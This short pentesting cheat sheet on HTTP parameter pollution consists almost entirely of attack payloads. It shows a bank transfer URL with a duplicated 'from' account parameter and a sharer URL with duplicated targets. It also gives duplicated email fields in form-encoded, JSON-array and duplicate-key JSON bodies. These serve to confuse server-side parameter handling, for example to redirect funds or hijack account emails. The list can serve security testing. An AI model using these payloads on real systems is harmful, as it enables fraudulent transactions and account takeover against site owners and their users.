HTTP Parameter pollution

# Inject existing extra parameters in GET:
https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF
https://www.site.com/sharer.php?u=https://site2.com/blog/introducing?&u=https://site3.com/test

email=[e-mail]&email=[e-mail]
{"email":["[e-mail]","[e-mail]"]}
{"email":"[e-mail]","email":"[e-mail]"}